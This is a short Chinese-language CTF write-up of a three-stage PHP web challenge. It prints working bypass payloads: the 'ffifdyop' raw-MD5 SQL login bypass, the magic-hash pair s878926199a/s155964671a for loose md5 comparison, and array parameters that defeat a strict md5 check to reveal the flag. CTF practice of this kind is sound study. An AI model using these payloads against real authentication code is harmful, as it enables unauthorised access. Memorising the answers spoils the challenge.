1.万能密码ffifdyop
查看源码没有什么消息,抓包查看在相应包的http头部发现了hint。
select * from 'admin' where password=md5($pass,true)
这里我们可以使用万能密码,ffifdyop,具体可看师傅的文章ffifdyop——绕过中一个奇妙的字符串。
成功进入下一个界面。
2.MD5碰撞
查看源码发现php代码
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
这里又用到了我们的MD5碰撞与弱口令。
构建参数a=s878926199a&b=s155964671a成功进入了下一个界面。具体关于MD5碰撞可以查看ctf.show_web5(MD5碰撞)。
3.3个=的MD5碰撞绕过
这里直接给出了源码。
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
这里和上个界面差不多,只是==变成了===。===MD5的绕过我们可以通过传入数组来绕过。
param1[]=1¶m2[]=2
成功得到flag。